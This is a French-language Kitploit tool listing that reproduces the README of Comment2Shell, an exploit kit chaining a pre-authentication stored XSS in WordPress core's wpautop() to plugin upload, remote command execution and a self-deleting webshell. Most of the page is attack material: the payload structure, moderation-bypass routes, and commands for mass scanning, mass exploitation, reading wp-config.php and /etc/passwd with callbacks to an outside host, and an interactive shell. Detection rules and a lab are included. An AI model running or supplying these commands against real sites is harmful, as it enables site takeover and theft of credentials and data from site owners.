Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Comment2Shell — Chaîne d'exploitation WordPress CVE-2026-93485 pré-authentification sans clic : XSS stocké dans wpautop() menant à l'upload d'un plugin via une session admin et à un webshell auto-supprimant, avec scanner, shell et template Nuclei. | Kitploit
Outils/GitHubGitHub/deathshotxd/comment2shell
Scanners de VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationVirtualisation de SécuritéSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges UtilesLabs et Pratique
GitHub
11il y a 14h 18mPas encore vérifié
deathshotxd/comment2shell

Comment2Shell

Chaîne d'exploitation WordPress CVE-2026-93485 pré-authentification sans clic : XSS stocké dans wpautop() menant à l'upload d'un plugin via une session admin et à un webshell auto-supprimant, avec scanner, shell et template Nuclei.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Comment2Shell

Comment2Shell est une preuve de concept de bout en bout pour CVE-2026-93485, une XSS stockée pré-authentification dans le cœur de WordPress wpautop() qui s'élève à une exécution de code à distance au sein d'une session administrateur. Un commentaire anonyme dépose la charge utile ; lorsqu'un admin ouvre l'article, le navigateur téléverse un plugin webshell, exécute une commande, puis supprime le shell à nouveau. Toute la chaîne tient dans un seul fichier Python sans dépendance.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Qu'est-ce que Comment2Shell ?

Comment2Shell est un kit d'exploit et de laboratoire local pour CVE-2026-93485. La faille réside dans wp-includes/formatting.php, dans le filtre de paragraphe wpautop() qui s'exécute au moment de l'affichage sur le texte des commentaires. Un saut de ligne à l'intérieur d'un attribut devient un espace réservé de commentaire HTML ; l' expression régulière qui entoure les blockquotes s'arrête au premier et injecte une balise de paragraphe au milieu de l'attribut, que le navigateur interprète ensuite comme un gestionnaire . L'attribut le déclenche sans clic.

blockquote cite
>
onfocus
autofocus

L'outil couvre toute la chaîne : un scan de version passif, une sonde XSS bénigne, l'exploit complet de la pré-authentification à l'exécution de code à distance, un shell interactif, et une vérification défensive des IOC.


L'exploit ne nécessite aucun compte, aucun nonce, et aucune interaction au-delà du fait que l'admin consulte l'article. Les commentaires doivent seulement être ouverts.


Comment2Shell - CVE-2026-93485

Pourquoi c'est important

WordPress fait tourner une grande part du web et wpautop() est du code cœur, donc le filtre vulnérable est livré sur chaque installation affectée quel que soit le thème ou le plugin. La XSS est stockée, pré-authentification, et sans clic. Parce qu'elle s'exécute dans la session admin, ce n'est pas qu'un bug de défiguration : le cookie admin suffit pour installer un plugin, et installer un plugin c'est de l'exécution de code arbitraire.

Le correctif a été livré dans WordPress 7.1.1 avec des rétroportages sur 25 branches, jusqu'à 4.7.36. Chaque version de 4.7.0 à 7.1.0 est affectée.

Démo


Comment2Shell demonstration


Exécution en laboratoire contrôlé contre WordPress 7.1.0 : un commentaire anonyme dépose la charge utile, l'admin qui ouvre l'article déclenche la chaîne sans clic, le webshell se téléverse, la sortie de commande revient, et le shell se supprime lui-même. Le titre de l'onglet du navigateur rapporte le résultat, soit Comment2Shell: shell uploaded soit Comment2Shell: admin login required. Voir docker/README.md pour la procédure exacte.

Contribution à la recherche

Comment2Shell ne revendique pas la découverte de la faille. Elle a été signalée par Rafie Muhammad (Awesome Motive) via le programme HackerOne WordPress et corrigée dans 7.1.1. La contribution ici est une implémentation reproductible et sans dépendance de la chaîne complète :

  • les conditions du filtre au moment de l'affichage qui permettent à la charge utile de survivre à KSES
  • un constructeur de ZIP dans le navigateur pour que le téléversement du plugin ne nécessite aucun fichier externe
  • un nettoyage automatique, où le webshell se supprime lui-même après la commande
  • des artefacts blue-team : un template nuclei, un script IOC, et des requêtes de logs

Flux d'attaque

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Prérequis

  • Commentaires ouverts sur un article publié (par défaut)
  • Commentaires anonymes autorisés (par défaut, comment_registration=0)
  • Un thème de blocs actif (par défaut depuis Twenty Twenty-Two)
  • Un admin qui consulte l'article en étant connecté
  • Python 3.8+ (bibliothèque standard uniquement)

Installation

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Aucune dépendance. Python 3.8+ bibliothèque standard uniquement, pas de pip install.

Utilisation

Scan de version passif

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Sonde XSS active

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Chaîne d'exploit complète jusqu'à l'exécution de commande

La charge utile de l'exploit déclenche alert("Comment2Shell XSS - CVE-2026-93485") au chargement de la page (sans clic via autofocus). Consultez l'article en étant connecté en tant qu'admin. Le titre de l'onglet indique alors Comment2Shell: shell uploaded en cas de succès, ou Comment2Shell: admin login required si le navigateur n'a pas de session admin.

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

L'outil soumet le commentaire XSS, interroge le chemin du webshell généré toutes les 3s (jusqu'à --wait secondes), exécute la commande une fois que le navigateur de l'admin déclenche le téléversement, puis auto-supprime le shell (?d=1 supprime le fichier PHP et retire le répertoire du plugin) afin qu'aucune persistance ne soit laissée derrière. Passez --no-cleanup pour le conserver, ou --wait 0 pour ne soumettre que la charge utile.

Shell interactif

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

Vérification IOC

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

Contournement de l'approbation des commentaires

Les nouveaux commentaires de commentateurs de première fois sont généralement retenus pour modération. L'outil dispose de trois voies pour contourner cela :

RouteMéthodeFlag
Commentateur connuRéutilise le <[email protected]> par défaut "A WordPress Commenter", que check_comment() approuve automatiquement--known-commenter
Modération désactivéeSi comment_previously_approved=0, toute identité est auto-approuvéepar défaut
Aperçu auteurUn commentateur antérieur voit les commentaires en attente via le cookie ?unapproved=<id>&moderation-hash=<hash>automatique

Selon Patchstack : "la modération n'est pas un contrôle de sécurité."

Laboratoire Docker

Lancez un WordPress 7.1.0 vulnérable pour des tests locaux :

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

Chaque exécution soumet un nouveau commentaire de charge utile. Seule la première charge utile autofocus sur la page s'exécute, donc l'outil détecte la charge utile active et interroge son chemin ; exécutez bash clean.sh pour effacer les anciens commentaires entre les exécutions.

Détection

IoC côté serveur

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

IoC réseau

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Template Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

Vérification du correctif

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

Exemples de pipeline

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

Détails techniques

Cause racine

wp-includes/formatting.php:563 (vulnérable, avant 7.1.1) :

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Pourquoi KSES ne l'attrape pas

La charge utile est du HTML bénin au moment de l'enregistrement. blockquote[cite] et code sont dans la liste d'autorisation des commentaires (wp-includes/kses.php:605-633). Le saut de ligne n'est pas dans la table des caractères syntaxiques de wp_kses_hair(). L'exploit se produit au moment de l'affichage, lorsque les filtres comment_text transforment le HTML stocké.

Chaîne de filtres comment_text

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

Versions affectées

Le correctif a été livré dans 7.1.1 sur 25 branches. Chaque version de 4.7.0 à 7.1.0 est affectée.

BrancheVulnérable <=Corrigée
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

Structure du dépôt

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

Limitations

  • Le chemin XSS dépend d'un thème de blocs (wptexturize scellant l'attribut) ; les thèmes classiques peuvent ne pas le déclencher.
  • La charge utile doit être visible par l'admin, donc une auto-approbation ou une identité de commentateur déjà approuvée est nécessaire.
  • L'étape RCE nécessite qu'un admin consulte réellement l'article en étant connecté ; sans cela, seule la XSS stockée est démontrée.
  • Seule la première charge utile autofocus sur une page s'exécute. L'outil détecte la charge utile active, mais les commentaires de charge utile obsolètes doivent être effacés avec docker/clean.sh.
  • Le laboratoire fourni est WordPress 7.1.0. D'autres branches partagent l'expression régulière vulnérable mais n'ont pas toutes été exercées.

Références

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

Chronologie

  • 2026-09-08 - signalé via le programme HackerOne WordPress
  • 2026-09-15 - CVE demandé à Patchstack
  • 2026-09-17 - corrigé dans WordPress 7.1.1
  • 2026-09-18 - CVE-2026-93485 attribué (CVSS 7.1)
  • 2026-09-21 - publication de l'analyse du chercheur
  • 2026-09-22 - couverture par THN, Orca, et SiteGuarding
  • 2026-09-23 - publication de cet outil

Utilisation responsable

Ce projet existe pour les tests de sécurité autorisés et l'éducation. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une permission écrite explicite de tester. L'accès non autorisé aux systèmes informatiques est illégal dans la plupart des juridictions. Les auteurs ne sont pas responsables d'une mauvaise utilisation ou de dommages. Voir LICENSE.

Auteur

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

Télécharger l’outil